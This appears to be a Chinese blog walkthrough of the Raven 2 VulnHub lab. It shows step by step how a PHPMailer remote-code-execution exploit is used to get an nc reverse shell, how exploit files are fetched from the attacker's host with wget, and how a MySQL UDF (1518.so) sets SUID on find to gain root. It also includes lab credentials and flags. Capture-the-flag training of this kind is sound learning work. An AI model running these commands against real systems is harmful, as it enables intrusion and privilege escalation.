Raven 2 靶机渗透

 

0X00 前言

Raven 2中一共有四个flag,Raven 2是一个中级boot2root VM。有四个标志要捕获。在多次破坏之后,Raven Security采取了额外措施来强化他们的网络服务器,以防止黑客进入。

 

靶机下载地址:https://download.vulnhub.com/raven/Raven2.ova

 

0x01 发现存活主机

该虚拟机默认是NAT模式,因此无需调整网络模式

使用netdiscover 或者 arp-scan 获取 目标主机 ip:192.168.88.211

arp-scan -l 或者 netdiscover -r 192.168.88.1/24

探测目标主机开放端口以及服务信息

目标开放了22、80、111端口

访问web服务

0x02 web渗透

1.目录爆破

dirb是一个轻量级的目录爆破工具,可以用它来快速的对目录进行一个简单的探测

dirb默认使用的爆破字典 /usr/share/dirb/wordlists/common.txt

我们可以根据需要指定字典进行扫描

dirb http://192.168.88.211 /root/dir/dir_big.txt

使用dirb和dirsearch同时进行目录爆破,相比而言,dirb扫描结果貌似要好很多。

扫到一些目录,逐个去查看目录下是否存在flag

在vendor下的 PATH 目录发现flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}

并且获得网站绝对路径:/var/www/html/vendor/

继续向下翻,一些PHPMailer的示例和说明文档等文件,貌似没什么用!

在vendor下存在一个版本说明文件,这个应该就是PHPMailer的版本信息了。

0x03 漏洞利用

PHPMailer版本小于5.2.20存在远程代码执行漏洞

使用searchsploit 搜索 可以利用的漏洞

修改exp,替换目标ip target为靶机ip,反弹连接的地址为kali地址。开启本地nc监听。

添加申明,否则非ASCII码字符会报错 # -*- coding: utf-8 -*-

修改后门路径地址 /var/www/html/

nc -nvlp 4444

运行该exp提示缺少requests_toolbelt模块,

pip install requests_toolbelt 安装该模块

python3 40974.py 执行exp 就会生成一个http://192.168.88.211/contact.php

访问链接,就会在网站根目录下生成一个backdoor.php

访问http://192.168.88.211/shell.php nc成功接收到反弹的shell

 

获取完整性shell,将shell转化为pty shell.

python -c 'import pty;pty.spawn("/bin/bash")';

在www目录下找到 flag2{6a8ed560f0b5358ecf844108048eb337}

在wordpress目录下通过find /var/www/html -name flag* 搜索发现flag3.png

访问http://192.168.88.211/wordpress/wp-content/uploads/2018/11/flag3.png获得flag3

访问http://192.168.88.211/wordpress/ 是一个wordpress站点

直接访问后台wp-admin,

注:直接访问后台会连接错误,需要修改hosts文件,将192.168.88.211指向raven.local

http://raven.local/wordpress/wp-login.php?redirect_to=http%3A%2F%2F192.168.88.211%2Fwordpress%2Fwp-admin%2F&reauth=1

进入wordpress目录打开wp-config.php找到数据库用户名密码

/** MySQL database username */

define('DB_USER', 'root');

 

/** MySQL database password */

define('DB_PASSWORD', 'R@v3nSecurity');

0X04 权限提升

使用提权脚本进行提权

开启web服务 php -S 0.0.0.0:88 -t /root

将提权脚本LinEnum.sh通过 wget 下载到目标机器

 

使用UDF提权

参考:https://www.exploit-db.com/exploits/1518

开启web服务,将udf exp 发送到 目标机器

python -m SimpleHTTPServer 88

在目标机器上编译会出错,我们可以本地编译好再上传。

gcc -g -c 1518.c gcc -g -shared -Wl,-soname,1518.so -o 1518.so 1518.o –lc

编译完成后会生成1518.c 和 1518.so文件,我们只需要so文件

wget http://192.168.88.193:88/1518.so

www-data@Raven:/tmp$ mysql -uroot -pR@v3nSecurity

mysql -uroot -pR@v3nSecurity

Welcome to the MySQL monitor. Commands end with ; or \g.

Your MySQL connection id is 60

Server version: 5.5.60-0+deb8u1 (Debian)

 

Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved.

 

Oracle is a registered trademark of Oracle Corporation and/or its

affiliates. Other names may be trademarks of their respective

owners.

 

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

 

mysql> show databases;

show databases;

+--------------------+

| Database |

+--------------------+

| information_schema |

| mysql |

| performance_schema |

| wordpress |

+--------------------+

4 rows in set (0.00 sec)

 

mysql> use mysql;

use mysql;

Reading table information for completion of table and column names

You can turn off this feature to get a quicker startup with -A

 

Database changed

mysql> create table Micr067(line blob);

create table Micr067(line blob);

Query OK, 0 rows affected (0.00 sec)

 

mysql> insert into Micr067 values(load_file('/tmp/1518.so'));

insert into Micr067 values(load_file('/tmp/1518.so'));

Query OK, 1 row affected (0.00 sec)

 

mysql> select * from Micr067 into dumpfile '/usr/lib/mysql/plugin/1518.so';

select * from Micr067 into dumpfile '/usr/lib/mysql/plugin/1518.so';

Query OK, 1 row affected (0.00 sec)

 

mysql> create function do_system returns integer soname '1518.so';

create function do_system returns integer soname '1518.so';

Query OK, 0 rows affected (0.00 sec)

 

mysql> select * from mysql.func;

select * from mysql.func;

+-----------+-----+---------+----------+

| name | ret | dl | type |

+-----------+-----+---------+----------+

| do_system | 2 | 1518.so | function |

+-----------+-----+---------+----------+

1 row in set (0.00 sec)

 

mysql> select do_system('chmod u+s /usr/bin/find');

select do_system('chmod u+s /usr/bin/find');

+--------------------------------------+

| do_system('chmod u+s /usr/bin/find') |

+--------------------------------------+

| 0 |

+--------------------------------------+

1 row in set (0.01 sec)

 

mysql> quit

quit

Bye

www-data@Raven:/tmp$ touch Micr067

touch Micr067

www-data@Raven:/tmp$ find Micr067 -exec 'whoami' \;

find Micr067 -exec 'whoami' \;

root

www-data@Raven:/tmp$ find Micr067 -exec '/bin/sh' \;

find Micr067 -exec '/bin/sh' \;

 

在root目录下找到 flag4{df2bc5e951d91581467bb9a2a8ff4425}

  • 1
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Micr067

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值